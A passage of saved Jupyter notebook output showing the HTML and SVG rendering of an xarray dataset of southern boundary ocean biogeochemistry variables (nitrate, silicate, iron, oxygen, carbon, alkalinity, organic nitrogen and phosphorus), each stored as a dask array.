points=\"10.0,0.0 33.221730347650876,23.22173034765088 33.221730347650876,140.86878917118028 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x1=\"153\" y1=\"23\" x2=\"153\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"33.221730347650876,23.22173034765088 153.22173034765086,23.22173034765088 153.22173034765086,140.86878917118028 33.221730347650876,140.86878917118028\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Text -->\n", " <text x=\"93.221730\" y=\"160.868789\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" >102</text>\n", " <text x=\"173.221730\" y=\"82.045260\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(-90,173.221730,82.045260)\">100</text>\n", " <text x=\"11.610865\" y=\"149.257924\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(45,11.610865,149.257924)\">12</text>\n", "</svg>\n", " </td>\n", " </tr>\n", "</table></div></li><li class='xr-var-item'><div class='xr-var-name'><span>NO3_south</span></div><div class='xr-var-dims'>(bry_time, s_rho, xi_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(12, 100, 102), meta=np.ndarray&gt;</div><input id='attrs-4f6c8600-fa55-4c8c-bfb9-86f006902c45' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-4f6c8600-fa55-4c8c-bfb9-86f006902c45' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-898a3aad-e72f-4cc4-9a67-a17e9538fa67' class='xr-var-data-in' type='checkbox'><label for='data-898a3aad-e72f-4cc4-9a67-a17e9538fa67' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>southern boundary dissolved inorganic nitrate</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 72 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"33\" y2=\"23\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"117\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"117\" 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y2=\"23\" style=\"stroke-width:2\" />\n", " <line x1=\"33\" y1=\"140\" x2=\"153\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"33\" y1=\"23\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", " <line x1=\"153\" y1=\"23\" x2=\"153\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"33.221730347650876,23.22173034765088 153.22173034765086,23.22173034765088 153.22173034765086,140.86878917118028 33.221730347650876,140.86878917118028\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Text -->\n", " <text x=\"93.221730\" y=\"160.868789\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" >102</text>\n", " <text x=\"173.221730\" y=\"82.045260\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(-90,173.221730,82.045260)\">100</text>\n", " <text x=\"11.610865\" y=\"149.257924\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(45,11.610865,149.257924)\">12</text>\n", "</svg>\n", " </td>\n", " </tr>\n", "</table></div></li><li class='xr-var-item'><div class='xr-var-name'><span>SiO3_south</span></div><div class='xr-var-dims'>(bry_time, s_rho, xi_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(12, 100, 102), meta=np.ndarray&gt;</div><input id='attrs-a5282e08-ec85-4931-a74e-0e888fe23e1f' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-a5282e08-ec85-4931-a74e-0e888fe23e1f' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-59a5687a-5f43-4e4f-b87f-623f8c159466' class='xr-var-data-in' type='checkbox'><label for='data-59a5687a-5f43-4e4f-b87f-623f8c159466' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>southern boundary dissolved inorganic silicate</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 72 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"33\" y2=\"23\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"117\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"117\" style=\"stroke-width:2\" />\n", " <line x1=\"33\" y1=\"23\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"10.0,0.0 33.221730347650876,23.22173034765088 33.221730347650876,140.86878917118028 10.0,117.6470588235294\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"130\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"33\" y1=\"23\" x2=\"153\" y2=\"23\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"33\" y2=\"23\" style=\"stroke-width:2\" />\n", " <line x1=\"130\" y1=\"0\" x2=\"153\" y2=\"23\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"10.0,0.0 130.0,0.0 153.2217303476509,23.22173034765088 33.221730347650876,23.22173034765088\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"33\" y1=\"23\" x2=\"153\" y2=\"23\" style=\"stroke-width:2\" />\n", " <line x1=\"33\" y1=\"140\" x2=\"153\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"33\" y1=\"23\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", " <line x1=\"153\" y1=\"23\" x2=\"153\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"33.221730347650876,23.22173034765088 153.22173034765086,23.22173034765088 153.22173034765086,140.86878917118028 33.221730347650876,140.86878917118028\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Text -->\n", " <text x=\"93.221730\" y=\"160.868789\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" >102</text>\n", " <text x=\"173.221730\" y=\"82.045260\" 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for='data-d10d06d7-9242-4fa7-81ad-9275a21cdd37' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>southern boundary dissolved ammonia</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 72 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"33\" y2=\"23\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"117\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"117\" style=\"stroke-width:2\" />\n", " <line x1=\"33\" y1=\"23\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"10.0,0.0 33.221730347650876,23.22173034765088 33.221730347650876,140.86878917118028 10.0,117.6470588235294\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"130\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"33\" y1=\"23\" x2=\"153\" y2=\"23\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines 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for='attrs-114f2dd2-fbac-48c4-89bd-d981fc42d2c6' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-3d3c9497-9258-4f3f-b8f2-cb96bc58591b' class='xr-var-data-in' type='checkbox'><label for='data-3d3c9497-9258-4f3f-b8f2-cb96bc58591b' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>southern boundary dissolved inorganic iron</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 72 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"33\" y2=\"23\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"117\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"117\" style=\"stroke-width:2\" />\n", " <line x1=\"33\" y1=\"23\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"10.0,0.0 33.221730347650876,23.22173034765088 33.221730347650876,140.86878917118028 10.0,117.6470588235294\" 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y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"33.221730347650876,23.22173034765088 153.22173034765086,23.22173034765088 153.22173034765086,140.86878917118028 33.221730347650876,140.86878917118028\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Text -->\n", " <text x=\"93.221730\" y=\"160.868789\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" >102</text>\n", " <text x=\"173.221730\" y=\"82.045260\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(-90,173.221730,82.045260)\">100</text>\n", " <text x=\"11.610865\" y=\"149.257924\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(45,11.610865,149.257924)\">12</text>\n", "</svg>\n", " </td>\n", " </tr>\n", "</table></div></li><li class='xr-var-item'><div class='xr-var-name'><span>Lig_south</span></div><div class='xr-var-dims'>(bry_time, s_rho, xi_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(12, 100, 102), meta=np.ndarray&gt;</div><input id='attrs-2fb8db90-90ab-42a4-8f47-31516784db38' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-2fb8db90-90ab-42a4-8f47-31516784db38' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-dc4351ed-1944-471a-bafc-a7849105a707' class='xr-var-data-in' type='checkbox'><label for='data-dc4351ed-1944-471a-bafc-a7849105a707' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>southern boundary iron binding ligand</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 72 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"33\" y2=\"23\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"117\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"117\" style=\"stroke-width:2\" />\n", " <line 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<line x1=\"33\" y1=\"140\" x2=\"153\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"33\" y1=\"23\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", " <line x1=\"153\" y1=\"23\" x2=\"153\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"33.221730347650876,23.22173034765088 153.22173034765086,23.22173034765088 153.22173034765086,140.86878917118028 33.221730347650876,140.86878917118028\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Text -->\n", " <text x=\"93.221730\" y=\"160.868789\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" >102</text>\n", " <text x=\"173.221730\" y=\"82.045260\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(-90,173.221730,82.045260)\">100</text>\n", " <text x=\"11.610865\" y=\"149.257924\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" 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:</span></dt><dd>southern boundary dissolved oxygen</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 72 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" 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for='data-d6a4b54b-a0ab-45d7-8a1f-bdf9d920279c' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>southern boundary dissolved inorganic carbon</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 72 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"33\" y2=\"23\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"117\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"117\" style=\"stroke-width:2\" />\n", " <line x1=\"33\" y1=\"23\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"10.0,0.0 33.221730347650876,23.22173034765088 33.221730347650876,140.86878917118028 10.0,117.6470588235294\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"130\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"33\" y1=\"23\" x2=\"153\" y2=\"23\" style=\"stroke-width:2\" />\n", "\n", " <!-- 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<tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 72 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"33\" y2=\"23\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"117\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"117\" style=\"stroke-width:2\" />\n", " <line x1=\"33\" y1=\"23\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"10.0,0.0 33.221730347650876,23.22173034765088 33.221730347650876,140.86878917118028 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xi_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(12, 100, 102), meta=np.ndarray&gt;</div><input id='attrs-28d9cd82-112a-424f-8de6-a027fd9f2db7' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-28d9cd82-112a-424f-8de6-a027fd9f2db7' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-84f2e315-13a8-43b4-a6d8-95adb35686b1' class='xr-var-data-in' type='checkbox'><label for='data-84f2e315-13a8-43b4-a6d8-95adb35686b1' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>southern boundary alkalinity</dd><dt><span>units :</span></dt><dd>meq/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", 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class='xr-attrs'><dt><span>long_name :</span></dt><dd>southern boundary alkalinity, alternative CO2</dd><dt><span>units :</span></dt><dd>meq/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 72 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal 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for='attrs-334543d8-b74f-4c31-8f5c-48b5fc370fa7' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-b6a43374-4060-4545-bc35-89e962ed99fd' class='xr-var-data-in' type='checkbox'><label for='data-b6a43374-4060-4545-bc35-89e962ed99fd' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>southern boundary dissolved organic nitrogen</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 72 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"33\" y2=\"23\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"117\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"117\" style=\"stroke-width:2\" />\n", " <line x1=\"33\" y1=\"23\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"10.0,0.0 33.221730347650876,23.22173034765088 33.221730347650876,140.86878917118028 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x1=\"153\" y1=\"23\" x2=\"153\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"33.221730347650876,23.22173034765088 153.22173034765086,23.22173034765088 153.22173034765086,140.86878917118028 33.221730347650876,140.86878917118028\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Text -->\n", " <text x=\"93.221730\" y=\"160.868789\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" >102</text>\n", " <text x=\"173.221730\" y=\"82.045260\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(-90,173.221730,82.045260)\">100</text>\n", " <text x=\"11.610865\" y=\"149.257924\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(45,11.610865,149.257924)\">12</text>\n", "</svg>\n", " </td>\n", " </tr>\n", "</table></div></li><li class='xr-var-item'><div class='xr-var-name'><span>DOP_south</span></div><div class='xr-var-dims'>(bry_time, s_rho, xi_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(12, 100, 102), meta=np.ndarray&gt;</div><input id='attrs-6294f0d2-eeac-45a2-8661-7139323f00aa' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-6294f0d2-eeac-45a2-8661-7139323f00aa' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-e064e3d9-88b3-4d3d-8348-2d502e146b12' class='xr-var-data-in' type='checkbox'><label for='data-e064e3d9-88b3-4d3d-8348-2d502e146b12' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>southern boundary dissolved organic phosphorus</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 72 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"33\" y2=\"23\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"117\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " 